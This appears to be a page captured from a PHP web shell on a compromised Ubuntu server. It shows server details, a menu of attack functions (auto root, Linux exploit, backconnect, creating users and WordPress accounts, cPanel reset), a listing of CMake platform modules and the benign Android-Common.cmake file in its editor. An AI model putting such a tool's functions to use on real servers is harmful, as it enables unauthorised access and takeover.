Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
cmake-3.22 /
Modules /
Platform /
[ HOME SHELL ]
Name
Size
Permission
Action
AIX
[ DIR ]
drwxr-xr-x
Android
[ DIR ]
drwxr-xr-x
AIX-Clang-C.cmake
28
B
-rw-r--r--
AIX-Clang-CXX.cmake
30
B
-rw-r--r--
AIX-GNU-ASM.cmake
50
B
-rw-r--r--
AIX-GNU-C.cmake
48
B
-rw-r--r--
AIX-GNU-CXX.cmake
109
B
-rw-r--r--
AIX-GNU-Fortran.cmake
54
B
-rw-r--r--
AIX-GNU.cmake
1.7
KB
-rw-r--r--
AIX-VisualAge-C.cmake
27
B
-rw-r--r--
AIX-VisualAge-CXX.cmake
29
B
-rw-r--r--
AIX-VisualAge-Fortran.cmake
33
B
-rw-r--r--
AIX-XL-ASM.cmake
48
B
-rw-r--r--
AIX-XL-C.cmake
168
B
-rw-r--r--
AIX-XL-CXX.cmake
146
B
-rw-r--r--
AIX-XL-Fortran.cmake
52
B
-rw-r--r--
AIX-XL.cmake
2
KB
-rw-r--r--
AIX-XLClang-C.cmake
56
B
-rw-r--r--
AIX-XLClang-CXX.cmake
58
B
-rw-r--r--
AIX-XLClang.cmake
390
B
-rw-r--r--
AIX.cmake
1.41
KB
-rw-r--r--
ARTOS-GNU-C.cmake
591
B
-rw-r--r--
ARTOS.cmake
526
B
-rw-r--r--
Android-Clang-ASM.cmake
62
B
-rw-r--r--
Android-Clang-C.cmake
60
B
-rw-r--r--
Android-Clang-CXX.cmake
322
B
-rw-r--r--
Android-Clang.cmake
3.16
KB
-rw-r--r--
Android-Common.cmake
8.03
KB
-rw-r--r--
Android-Determine-C.cmake
77
B
-rw-r--r--
Android-Determine-CXX.cmake
79
B
-rw-r--r--
Android-Determine.cmake
24.04
KB
-rw-r--r--
Android-GNU-C.cmake
56
B
-rw-r--r--
Android-GNU-CXX.cmake
177
B
-rw-r--r--
Android-GNU.cmake
1.01
KB
-rw-r--r--
Android-Initialize.cmake
4.02
KB
-rw-r--r--
Android.cmake
1.27
KB
-rw-r--r--
Apple-Absoft-Fortran.cmake
351
B
-rw-r--r--
Apple-Apple-Swift.cmake
37
B
-rw-r--r--
Apple-AppleClang-C.cmake
202
B
-rw-r--r--
Apple-AppleClang-CXX.cmake
210
B
-rw-r--r--
Apple-AppleClang-OBJC.cmake
214
B
-rw-r--r--
Apple-AppleClang-OBJCXX.cmake
222
B
-rw-r--r--
Apple-Clang-ASM.cmake
58
B
-rw-r--r--
Apple-Clang-C.cmake
56
B
-rw-r--r--
Apple-Clang-CXX.cmake
58
B
-rw-r--r--
Apple-Clang-OBJC.cmake
59
B
-rw-r--r--
Apple-Clang-OBJCXX.cmake
61
B
-rw-r--r--
Apple-Clang.cmake
1.67
KB
-rw-r--r--
Apple-GNU-C.cmake
126
B
-rw-r--r--
Apple-GNU-CXX.cmake
132
B
-rw-r--r--
Apple-GNU-Fortran.cmake
428
B
-rw-r--r--
Apple-GNU-OBJC.cmake
135
B
-rw-r--r--
Apple-GNU-OBJCXX.cmake
141
B
-rw-r--r--
Apple-GNU.cmake
2.17
KB
-rw-r--r--
Apple-Intel-C.cmake
56
B
-rw-r--r--
Apple-Intel-CXX.cmake
58
B
-rw-r--r--
Apple-Intel-Fortran.cmake
346
B
-rw-r--r--
Apple-Intel.cmake
785
B
-rw-r--r--
Apple-IntelLLVM-C.cmake
65
B
-rw-r--r--
Apple-IntelLLVM-CXX.cmake
67
B
-rw-r--r--
Apple-IntelLLVM-Fortran.cmake
355
B
-rw-r--r--
Apple-IntelLLVM.cmake
719
B
-rw-r--r--
Apple-NAG-Fortran.cmake
921
B
-rw-r--r--
Apple-NVIDIA-CUDA.cmake
1.02
KB
-rw-r--r--
Apple-PGI-C.cmake
52
B
-rw-r--r--
Apple-PGI-CXX.cmake
54
B
-rw-r--r--
Apple-PGI-Fortran.cmake
58
B
-rw-r--r--
Apple-PGI.cmake
492
B
-rw-r--r--
Apple-VisualAge-C.cmake
29
B
-rw-r--r--
Apple-VisualAge-CXX.cmake
31
B
-rw-r--r--
Apple-XL-C.cmake
269
B
-rw-r--r--
Apple-XL-CXX.cmake
273
B
-rw-r--r--
BSDOS.cmake
29
B
-rw-r--r--
BeOS.cmake
404
B
-rw-r--r--
BlueGeneL.cmake
1.82
KB
-rw-r--r--
BlueGeneP-base.cmake
5.14
KB
-rw-r--r--
BlueGeneP-dynamic-GNU-C.cmake
181
B
-rw-r--r--
BlueGeneP-dynamic-GNU-CXX.cmak...
183
B
-rw-r--r--
BlueGeneP-dynamic-GNU-Fortran....
187
B
-rw-r--r--
BlueGeneP-dynamic-XL-C.cmake
302
B
-rw-r--r--
BlueGeneP-dynamic-XL-CXX.cmake
280
B
-rw-r--r--
BlueGeneP-dynamic-XL-Fortran.c...
186
B
-rw-r--r--
BlueGeneP-dynamic.cmake
323
B
-rw-r--r--
BlueGeneP-static-GNU-C.cmake
180
B
-rw-r--r--
BlueGeneP-static-GNU-CXX.cmake
182
B
-rw-r--r--
BlueGeneP-static-GNU-Fortran.c...
186
B
-rw-r--r--
BlueGeneP-static-XL-C.cmake
301
B
-rw-r--r--
BlueGeneP-static-XL-CXX.cmake
279
B
-rw-r--r--
BlueGeneP-static-XL-Fortran.cm...
185
B
-rw-r--r--
BlueGeneP-static.cmake
318
B
-rw-r--r--
BlueGeneQ-base.cmake
6.9
KB
-rw-r--r--
BlueGeneQ-dynamic-GNU-C.cmake
177
B
-rw-r--r--
BlueGeneQ-dynamic-GNU-CXX.cmak...
179
B
-rw-r--r--
BlueGeneQ-dynamic-GNU-Fortran....
183
B
-rw-r--r--
BlueGeneQ-dynamic-XL-C.cmake
298
B
-rw-r--r--
BlueGeneQ-dynamic-XL-CXX.cmake
276
B
-rw-r--r--
BlueGeneQ-dynamic-XL-Fortran.c...
182
B
-rw-r--r--
BlueGeneQ-dynamic.cmake
221
B
-rw-r--r--
BlueGeneQ-static-GNU-C.cmake
176
B
-rw-r--r--
BlueGeneQ-static-GNU-CXX.cmake
178
B
-rw-r--r--
BlueGeneQ-static-GNU-Fortran.c...
182
B
-rw-r--r--
BlueGeneQ-static-XL-C.cmake
297
B
-rw-r--r--
BlueGeneQ-static-XL-CXX.cmake
275
B
-rw-r--r--
BlueGeneQ-static-XL-Fortran.cm...
181
B
-rw-r--r--
BlueGeneQ-static.cmake
215
B
-rw-r--r--
CYGWIN-Clang-C.cmake
31
B
-rw-r--r--
CYGWIN-Clang-CXX.cmake
33
B
-rw-r--r--
CYGWIN-Determine-CXX.cmake
248
B
-rw-r--r--
CYGWIN-GNU-C.cmake
54
B
-rw-r--r--
CYGWIN-GNU-CXX.cmake
56
B
-rw-r--r--
CYGWIN-GNU-Fortran.cmake
60
B
-rw-r--r--
CYGWIN-GNU.cmake
2.55
KB
-rw-r--r--
CYGWIN-windres.cmake
106
B
-rw-r--r--
CYGWIN.cmake
2.7
KB
-rw-r--r--
Catamount.cmake
1.01
KB
-rw-r--r--
CrayLinuxEnvironment.cmake
3.11
KB
-rw-r--r--
DOS-OpenWatcom-C.cmake
33
B
-rw-r--r--
DOS-OpenWatcom-CXX.cmake
33
B
-rw-r--r--
DOS-OpenWatcom.cmake
1.06
KB
-rw-r--r--
DOS.cmake
413
B
-rw-r--r--
Darwin-Determine-CXX.cmake
248
B
-rw-r--r--
Darwin-Initialize.cmake
12.3
KB
-rw-r--r--
Darwin.cmake
9.12
KB
-rw-r--r--
DragonFly.cmake
388
B
-rw-r--r--
Euros.cmake
615
B
-rw-r--r--
FreeBSD-Determine-CXX.cmake
77
B
-rw-r--r--
FreeBSD.cmake
1.35
KB
-rw-r--r--
Fuchsia.cmake
1.17
KB
-rw-r--r--
GHS-MULTI-Determine.cmake
1.95
KB
-rw-r--r--
GHS-MULTI.cmake
389
B
-rw-r--r--
GNU.cmake
1.87
KB
-rw-r--r--
GNUtoMS_lib.bat.in
102
B
-rw-r--r--
GNUtoMS_lib.cmake
383
B
-rw-r--r--
Generic-ADSP-ASM.cmake
292
B
-rw-r--r--
Generic-ADSP-C.cmake
761
B
-rw-r--r--
Generic-ADSP-CXX.cmake
791
B
-rw-r--r--
Generic-ADSP-Common.cmake
4.04
KB
-rw-r--r--
Generic-SDCC-C.cmake
2.32
KB
-rw-r--r--
Generic.cmake
827
B
-rw-r--r--
HP-UX-GNU-ASM.cmake
53
B
-rw-r--r--
HP-UX-GNU-C.cmake
51
B
-rw-r--r--
HP-UX-GNU-CXX.cmake
112
B
-rw-r--r--
HP-UX-GNU-Fortran.cmake
57
B
-rw-r--r--
HP-UX-GNU.cmake
750
B
-rw-r--r--
HP-UX-HP-ASM.cmake
51
B
-rw-r--r--
HP-UX-HP-C.cmake
405
B
-rw-r--r--
HP-UX-HP-CXX.cmake
653
B
-rw-r--r--
HP-UX-HP-Fortran.cmake
325
B
-rw-r--r--
HP-UX-HP.cmake
837
B
-rw-r--r--
HP-UX.cmake
1.93
KB
-rw-r--r--
Haiku.cmake
4.91
KB
-rw-r--r--
Linux-Absoft-Fortran.cmake
67
B
-rw-r--r--
Linux-CCur-Fortran.cmake
36
B
-rw-r--r--
Linux-Clang-C.cmake
30
B
-rw-r--r--
Linux-Clang-CXX.cmake
32
B
-rw-r--r--
Linux-Determine-CXX.cmake
77
B
-rw-r--r--
Linux-Fujitsu-C.cmake
32
B
-rw-r--r--
Linux-Fujitsu-CXX.cmake
34
B
-rw-r--r--
Linux-Fujitsu.cmake
612
B
-rw-r--r--
Linux-GNU-C.cmake
52
B
-rw-r--r--
Linux-GNU-CXX.cmake
54
B
-rw-r--r--
Linux-GNU-Fortran.cmake
106
B
-rw-r--r--
Linux-GNU.cmake
511
B
-rw-r--r--
Linux-Intel-C.cmake
101
B
-rw-r--r--
Linux-Intel-CXX.cmake
105
B
-rw-r--r--
Linux-Intel-Fortran.cmake
182
B
-rw-r--r--
Linux-Intel.cmake
2.05
KB
-rw-r--r--
Linux-IntelLLVM-C.cmake
110
B
-rw-r--r--
Linux-IntelLLVM-CXX.cmake
114
B
-rw-r--r--
Linux-IntelLLVM-Fortran.cmake
191
B
-rw-r--r--
Linux-IntelLLVM.cmake
1.92
KB
-rw-r--r--
Linux-NAG-Fortran.cmake
596
B
-rw-r--r--
Linux-NVHPC-C.cmake
56
B
-rw-r--r--
Linux-NVHPC-CXX.cmake
58
B
-rw-r--r--
Linux-NVHPC-Fortran.cmake
62
B
-rw-r--r--
Linux-NVHPC.cmake
398
B
-rw-r--r--
Linux-OpenWatcom-C.cmake
35
B
-rw-r--r--
Linux-OpenWatcom-CXX.cmake
35
B
-rw-r--r--
Linux-OpenWatcom.cmake
932
B
-rw-r--r--
Linux-PGI-C.cmake
52
B
-rw-r--r--
Linux-PGI-CXX.cmake
54
B
-rw-r--r--
Linux-PGI-Fortran.cmake
58
B
-rw-r--r--
Linux-PGI.cmake
766
B
-rw-r--r--
Linux-PathScale-C.cmake
64
B
-rw-r--r--
Linux-PathScale-CXX.cmake
66
B
-rw-r--r--
Linux-PathScale-Fortran.cmake
70
B
-rw-r--r--
Linux-PathScale.cmake
597
B
-rw-r--r--
Linux-SunPro-CXX.cmake
489
B
-rw-r--r--
Linux-TinyCC-C.cmake
233
B
-rw-r--r--
Linux-VisualAge-C.cmake
29
B
-rw-r--r--
Linux-VisualAge-CXX.cmake
31
B
-rw-r--r--
Linux-VisualAge-Fortran.cmake
35
B
-rw-r--r--
Linux-XL-C.cmake
61
B
-rw-r--r--
Linux-XL-CXX.cmake
63
B
-rw-r--r--
Linux-XL-Fortran.cmake
67
B
-rw-r--r--
Linux-como.cmake
727
B
-rw-r--r--
Linux.cmake
3.18
KB
-rw-r--r--
MP-RAS.cmake
399
B
-rw-r--r--
MSYS-Clang-C.cmake
33
B
-rw-r--r--
MSYS-Clang-CXX.cmake
35
B
-rw-r--r--
MSYS-Determine-CXX.cmake
39
B
-rw-r--r--
MSYS-GNU-C.cmake
31
B
-rw-r--r--
MSYS-GNU-CXX.cmake
33
B
-rw-r--r--
MSYS-GNU-Fortran.cmake
37
B
-rw-r--r--
MSYS-GNU.cmake
29
B
-rw-r--r--
MSYS-windres.cmake
33
B
-rw-r--r--
MSYS.cmake
118
B
-rw-r--r--
Midipix.cmake
28
B
-rw-r--r--
MirBSD.cmake
26
B
-rw-r--r--
NetBSD.cmake
778
B
-rw-r--r--
OS2-OpenWatcom-C.cmake
33
B
-rw-r--r--
OS2-OpenWatcom-CXX.cmake
33
B
-rw-r--r--
OS2-OpenWatcom.cmake
1.47
KB
-rw-r--r--
OS2.cmake
413
B
-rw-r--r--
OSF1.cmake
1.51
KB
-rw-r--r--
OpenBSD.cmake
1.41
KB
-rw-r--r--
OpenVMS.cmake
267
B
-rw-r--r--
QNX.cmake
655
B
-rw-r--r--
RISCos.cmake
188
B
-rw-r--r--
SCO_SV.cmake
96
B
-rw-r--r--
SINIX.cmake
264
B
-rw-r--r--
SunOS-Clang-C.cmake
30
B
-rw-r--r--
SunOS-Clang-CXX.cmake
32
B
-rw-r--r--
SunOS-GNU-C.cmake
52
B
-rw-r--r--
SunOS-GNU-CXX.cmake
54
B
-rw-r--r--
SunOS-GNU-Fortran.cmake
58
B
-rw-r--r--
SunOS-GNU.cmake
996
B
-rw-r--r--
SunOS-PathScale-C.cmake
64
B
-rw-r--r--
SunOS-PathScale-CXX.cmake
66
B
-rw-r--r--
SunOS-PathScale-Fortran.cmake
70
B
-rw-r--r--
SunOS-PathScale.cmake
770
B
-rw-r--r--
SunOS.cmake
706
B
-rw-r--r--
Tru64.cmake
29
B
-rw-r--r--
ULTRIX.cmake
187
B
-rw-r--r--
UNIX_SV.cmake
318
B
-rw-r--r--
UnixPaths.cmake
3.28
KB
-rw-r--r--
UnixWare.cmake
320
B
-rw-r--r--
Windows-Apple-Swift.cmake
72
B
-rw-r--r--
Windows-Borland-C.cmake
40
B
-rw-r--r--
Windows-Borland-CXX.cmake
42
B
-rw-r--r--
Windows-Clang-ASM.cmake
62
B
-rw-r--r--
Windows-Clang-C.cmake
712
B
-rw-r--r--
Windows-Clang-CXX.cmake
758
B
-rw-r--r--
Windows-Clang.cmake
9.83
KB
-rw-r--r--
Windows-Determine-CXX.cmake
248
B
-rw-r--r--
Windows-Embarcadero-C.cmake
77
B
-rw-r--r--
Windows-Embarcadero-CXX.cmake
81
B
-rw-r--r--
Windows-Embarcadero.cmake
5.39
KB
-rw-r--r--
Windows-Flang-Fortran.cmake
637
B
-rw-r--r--
Windows-G95-Fortran.cmake
38
B
-rw-r--r--
Windows-GNU-ASM.cmake
58
B
-rw-r--r--
Windows-GNU-C-ABI.cmake
30
B
-rw-r--r--
Windows-GNU-C.cmake
56
B
-rw-r--r--
Windows-GNU-CXX-ABI.cmake
32
B
-rw-r--r--
Windows-GNU-CXX.cmake
58
B
-rw-r--r--
Windows-GNU-Fortran-ABI.cmake
36
B
-rw-r--r--
Windows-GNU-Fortran.cmake
162
B
-rw-r--r--
Windows-GNU.cmake
9.48
KB
-rw-r--r--
Windows-Intel-ASM.cmake
62
B
-rw-r--r--
Windows-Intel-C.cmake
940
B
-rw-r--r--
Windows-Intel-CXX.cmake
980
B
-rw-r--r--
Windows-Intel-Fortran.cmake
1.95
KB
-rw-r--r--
Windows-Intel-ISPC.cmake
209
B
-rw-r--r--
Windows-Intel.cmake
888
B
-rw-r--r--
Windows-IntelLLVM-ASM.cmake
66
B
-rw-r--r--
Windows-IntelLLVM-C.cmake
64
B
-rw-r--r--
Windows-IntelLLVM-CXX.cmake
91
B
-rw-r--r--
Windows-IntelLLVM-Fortran.cmak...
1.95
KB
-rw-r--r--
Windows-IntelLLVM.cmake
507
B
-rw-r--r--
Windows-MSVC-C.cmake
395
B
-rw-r--r--
Windows-MSVC-CXX.cmake
430
B
-rw-r--r--
Windows-MSVC.cmake
19.45
KB
-rw-r--r--
Windows-NVIDIA-CUDA.cmake
4.81
KB
-rw-r--r--
Windows-OpenWatcom-C.cmake
62
B
-rw-r--r--
Windows-OpenWatcom-CXX.cmake
64
B
-rw-r--r--
Windows-OpenWatcom.cmake
1.3
KB
-rw-r--r--
Windows-PGI-C.cmake
56
B
-rw-r--r--
Windows-PGI-Fortran.cmake
62
B
-rw-r--r--
Windows-PGI.cmake
2.3
KB
-rw-r--r--
Windows-Watcom-C.cmake
39
B
-rw-r--r--
Windows-Watcom-CXX.cmake
41
B
-rw-r--r--
Windows-df.cmake
2.57
KB
-rw-r--r--
Windows-windres.cmake
106
B
-rw-r--r--
Windows.cmake
1.35
KB
-rw-r--r--
WindowsCE-MSVC-C.cmake
33
B
-rw-r--r--
WindowsCE-MSVC-CXX.cmake
35
B
-rw-r--r--
WindowsCE.cmake
26
B
-rw-r--r--
WindowsPaths.cmake
2.99
KB
-rw-r--r--
WindowsPhone-Clang-ASM.cmake
36
B
-rw-r--r--
WindowsPhone-Clang-C.cmake
34
B
-rw-r--r--
WindowsPhone-Clang-CXX.cmake
36
B
-rw-r--r--
WindowsPhone-GNU-ASM.cmake
34
B
-rw-r--r--
WindowsPhone-GNU-C.cmake
32
B
-rw-r--r--
WindowsPhone-GNU-CXX.cmake
34
B
-rw-r--r--
WindowsPhone-MSVC-C.cmake
33
B
-rw-r--r--
WindowsPhone-MSVC-CXX.cmake
35
B
-rw-r--r--
WindowsPhone.cmake
26
B
-rw-r--r--
WindowsStore-Clang-ASM.cmake
36
B
-rw-r--r--
WindowsStore-Clang-C.cmake
34
B
-rw-r--r--
WindowsStore-Clang-CXX.cmake
36
B
-rw-r--r--
WindowsStore-GNU-ASM.cmake
34
B
-rw-r--r--
WindowsStore-GNU-C.cmake
32
B
-rw-r--r--
WindowsStore-GNU-CXX.cmake
34
B
-rw-r--r--
WindowsStore-MSVC-C.cmake
33
B
-rw-r--r--
WindowsStore-MSVC-CXX.cmake
35
B
-rw-r--r--
WindowsStore.cmake
26
B
-rw-r--r--
Xenix.cmake
29
B
-rw-r--r--
eCos.cmake
2.67
KB
-rw-r--r--
gas.cmake
670
B
-rw-r--r--
iOS-Determine-CXX.cmake
39
B
-rw-r--r--
iOS-Initialize.cmake
243
B
-rw-r--r--
iOS.cmake
25
B
-rw-r--r--
kFreeBSD.cmake
147
B
-rw-r--r--
syllable.cmake
1.47
KB
-rw-r--r--
tvOS-Determine-CXX.cmake
39
B
-rw-r--r--
tvOS-Initialize.cmake
233
B
-rw-r--r--
tvOS.cmake
25
B
-rw-r--r--
watchOS-Determine-CXX.cmake
39
B
-rw-r--r--
watchOS-Initialize.cmake
234
B
-rw-r--r--
watchOS.cmake
25
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Android-Common.cmake
# Distributed under the OSI-approved BSD 3-Clause License. See accompanying # file Copyright.txt or https://cmake.org/licensing for details. # This module is shared by multiple languages; use include blocker. if(__ANDROID_COMPILER_COMMON) return() endif() set(__ANDROID_COMPILER_COMMON 1) if(CMAKE_ANDROID_NDK) # <ndk>/build/core/definitions.mk set(_ANDROID_STL_TYPES none system c++_static c++_shared gabi++_static gabi++_shared gnustl_static gnustl_shared stlport_static stlport_shared ) if(CMAKE_ANDROID_STL_TYPE) list(FIND _ANDROID_STL_TYPES "${CMAKE_ANDROID_STL_TYPE}" _ANDROID_STL_TYPE_FOUND) if(_ANDROID_STL_TYPE_FOUND EQUAL -1) string(REPLACE ";" "\n " _msg ";${_ANDROID_STL_TYPES}") message(FATAL_ERROR "The CMAKE_ANDROID_STL_TYPE '${CMAKE_ANDROID_STL_TYPE}' is not one of the allowed values:${_msg}\n" ) endif() unset(_ANDROID_STL_TYPE_FOUND) elseif(IS_DIRECTORY ${CMAKE_ANDROID_NDK}/sources/cxx-stl/gnu-libstdc++) set(CMAKE_ANDROID_STL_TYPE "gnustl_static") else() set(CMAKE_ANDROID_STL_TYPE "c++_static") endif() unset(_ANDROID_STL_TYPES) # Forward Android-specific platform variables to try_compile projects. list(APPEND CMAKE_TRY_COMPILE_PLATFORM_VARIABLES CMAKE_ANDROID_STL_TYPE ) endif() if(CMAKE_ANDROID_STL_TYPE) if(CMAKE_ANDROID_NDK_TOOLCHAIN_UNIFIED) if(CMAKE_ANDROID_STL_TYPE STREQUAL "system") set(_ANDROID_STL_EXCEPTIONS 0) set(_ANDROID_STL_RTTI 0) macro(__android_stl lang) string(APPEND CMAKE_${lang}_FLAGS_INIT " -stdlib=libstdc++") if(_ANDROID_STL_EXCEPTIONS OR _ANDROID_STL_RTTI) string(APPEND CMAKE_${lang}_STANDARD_LIBRARIES " -lc++abi") if(CMAKE_SYSTEM_VERSION LESS 21) list(APPEND CMAKE_${lang}_STANDARD_LIBRARIES "-landroid_support") endif() endif() endmacro() elseif(CMAKE_ANDROID_STL_TYPE STREQUAL "c++_static") set(_ANDROID_STL_EXCEPTIONS 1) set(_ANDROID_STL_RTTI 1) macro(__android_stl lang) string(APPEND CMAKE_${lang}_FLAGS_INIT " -stdlib=libc++") string(APPEND CMAKE_${lang}_STANDARD_LIBRARIES " -static-libstdc++") endmacro() elseif(CMAKE_ANDROID_STL_TYPE STREQUAL "c++_shared") set(_ANDROID_STL_EXCEPTIONS 1) set(_ANDROID_STL_RTTI 1) macro(__android_stl lang) string(APPEND CMAKE_${lang}_FLAGS_INIT " -stdlib=libc++") endmacro() elseif(CMAKE_ANDROID_STL_TYPE STREQUAL "none") set(_ANDROID_STL_RTTI 0) set(_ANDROID_STL_EXCEPTIONS 0) macro(__android_stl lang) # FIXME: Add a way to add project-wide language-specific compile-only flags. set(CMAKE_CXX_COMPILE_OBJECT "<CMAKE_CXX_COMPILER> <DEFINES> <INCLUDES> <FLAGS> -o <OBJECT> -c <SOURCE> -nostdinc++") string(APPEND CMAKE_${lang}_STANDARD_LIBRARIES " -nostdlib++") endmacro() else() message(FATAL_ERROR "Android: STL '${CMAKE_ANDROID_STL_TYPE}' not supported by this NDK." ) endif() if(DEFINED CMAKE_ANDROID_RTTI) set(_ANDROID_STL_RTTI ${CMAKE_ANDROID_RTTI}) endif() if(DEFINED CMAKE_ANDROID_EXCEPTIONS) set(_ANDROID_STL_EXCEPTIONS ${CMAKE_ANDROID_EXCEPTIONS}) endif() elseif(CMAKE_ANDROID_NDK) macro(__android_stl_inc lang dir req) if(EXISTS "${dir}") list(APPEND CMAKE_${lang}_STANDARD_INCLUDE_DIRECTORIES "${dir}") elseif(${req}) message(FATAL_ERROR "Android: STL '${CMAKE_ANDROID_STL_TYPE}' include directory not found:\n" " ${dir}" ) endif() endmacro() macro(__android_stl_lib lang lib req) if(CMAKE_ANDROID_ARCH_ABI MATCHES "^armeabi" AND NOT CMAKE_ANDROID_ARM_MODE) get_filename_component(_ANDROID_STL_LIBDIR "${lib}" DIRECTORY) get_filename_component(_ANDROID_STL_LIBNAME "${lib}" NAME) set(_ANDROID_STL_LIBTHUMB "${_ANDROID_STL_LIBDIR}/thumb/${_ANDROID_STL_LIBNAME}") unset(_ANDROID_STL_LIBDIR) unset(_ANDROID_STL_LIBNAME) else() set(_ANDROID_STL_LIBTHUMB "") endif() if(_ANDROID_STL_LIBTHUMB AND EXISTS "${_ANDROID_STL_LIBTHUMB}") string(APPEND CMAKE_${lang}_STANDARD_LIBRARIES " \"${_ANDROID_STL_LIBTHUMB}\"") elseif(EXISTS "${lib}") string(APPEND CMAKE_${lang}_STANDARD_LIBRARIES " \"${lib}\"") elseif(${req}) message(FATAL_ERROR "Android: STL '${CMAKE_ANDROID_STL_TYPE}' library file not found:\n" " ${lib}" ) endif() unset(_ANDROID_STL_LIBTHUMB) endmacro() include(Platform/Android/ndk-stl-${CMAKE_ANDROID_STL_TYPE}) else() macro(__android_stl lang) endmacro() endif() else() macro(__android_stl lang) endmacro() endif() # The NDK toolchain configuration files at: # # <ndk>/[build/core/]toolchains/*/setup.mk # # contain logic to set TARGET_CFLAGS and TARGET_LDFLAGS (and debug/release # variants) to tell their build system what flags to pass for each ABI. # We need to produce the same flags here to produce compatible binaries. # We initialize these variables here and set them in the compiler-specific # modules that include this one. Then we use them in the macro below when # it is called. set(_ANDROID_ABI_INIT_CFLAGS "") set(_ANDROID_ABI_INIT_CFLAGS_DEBUG "") set(_ANDROID_ABI_INIT_CFLAGS_RELEASE "") set(_ANDROID_ABI_INIT_LDFLAGS "") set(_ANDROID_ABI_INIT_EXE_LDFLAGS "") macro(__android_compiler_common lang) if(_ANDROID_ABI_INIT_CFLAGS) string(APPEND CMAKE_${lang}_FLAGS_INIT " ${_ANDROID_ABI_INIT_CFLAGS}") endif() if(_ANDROID_ABI_INIT_CFLAGS_DEBUG) string(APPEND CMAKE_${lang}_FLAGS_DEBUG_INIT " ${_ANDROID_ABI_INIT_CFLAGS_DEBUG}") endif() if(_ANDROID_ABI_INIT_CFLAGS_RELEASE) string(APPEND CMAKE_${lang}_FLAGS_RELEASE_INIT " ${_ANDROID_ABI_INIT_CFLAGS_RELEASE}") string(APPEND CMAKE_${lang}_FLAGS_MINSIZEREL_INIT " ${_ANDROID_ABI_INIT_CFLAGS_RELEASE}") string(APPEND CMAKE_${lang}_FLAGS_RELWITHDEBINFO_INIT " ${_ANDROID_ABI_INIT_CFLAGS_RELEASE}") endif() if(_ANDROID_ABI_INIT_LDFLAGS) foreach(t EXE SHARED MODULE) string(APPEND CMAKE_${t}_LINKER_FLAGS_INIT " ${_ANDROID_ABI_INIT_LDFLAGS}") endforeach() endif() if(_ANDROID_ABI_INIT_EXE_LDFLAGS) string(APPEND CMAKE_EXE_LINKER_FLAGS_INIT " ${_ANDROID_ABI_INIT_EXE_LDFLAGS}") endif() if(DEFINED _ANDROID_STL_EXCEPTIONS) if(_ANDROID_STL_EXCEPTIONS) string(APPEND CMAKE_${lang}_FLAGS_INIT " -fexceptions") else() string(APPEND CMAKE_${lang}_FLAGS_INIT " -fno-exceptions") endif() endif() if("x${lang}" STREQUAL "xCXX" AND DEFINED _ANDROID_STL_RTTI) if(_ANDROID_STL_RTTI) string(APPEND CMAKE_${lang}_FLAGS_INIT " -frtti") else() string(APPEND CMAKE_${lang}_FLAGS_INIT " -fno-rtti") endif() endif() if("x${lang}" STREQUAL "xCXX") __android_stl(CXX) endif() if(CMAKE_ANDROID_NDK_TOOLCHAIN_UNIFIED) string(APPEND CMAKE_${lang}_STANDARD_LIBRARIES " -latomic -lm") endif() # <ndk>/build/core/definitions.mk appends the sysroot's include directory # explicitly at the end of the command-line include path so that it # precedes the toolchain's builtin include directories. This is # necessary so that Android API-version-specific headers are preferred # over those in the toolchain's `include-fixed` directory (which cannot # possibly match all versions). # # Do not do this for a standalone toolchain because it is already # tied to a specific API version. if(CMAKE_ANDROID_NDK AND NOT CMAKE_ANDROID_NDK_TOOLCHAIN_UNIFIED) if(CMAKE_SYSROOT_COMPILE) set(_cmake_sysroot_compile "${CMAKE_SYSROOT_COMPILE}") else() set(_cmake_sysroot_compile "${CMAKE_SYSROOT}") endif() if(NOT CMAKE_ANDROID_NDK_DEPRECATED_HEADERS) list(APPEND CMAKE_${lang}_STANDARD_INCLUDE_DIRECTORIES "${_cmake_sysroot_compile}/usr/include" "${_cmake_sysroot_compile}/usr/include/${CMAKE_ANDROID_ARCH_TRIPLE}" ) else() list(APPEND CMAKE_${lang}_STANDARD_INCLUDE_DIRECTORIES "${_cmake_sysroot_compile}/usr/include") endif() unset(_cmake_sysroot_compile) endif() endmacro()
Close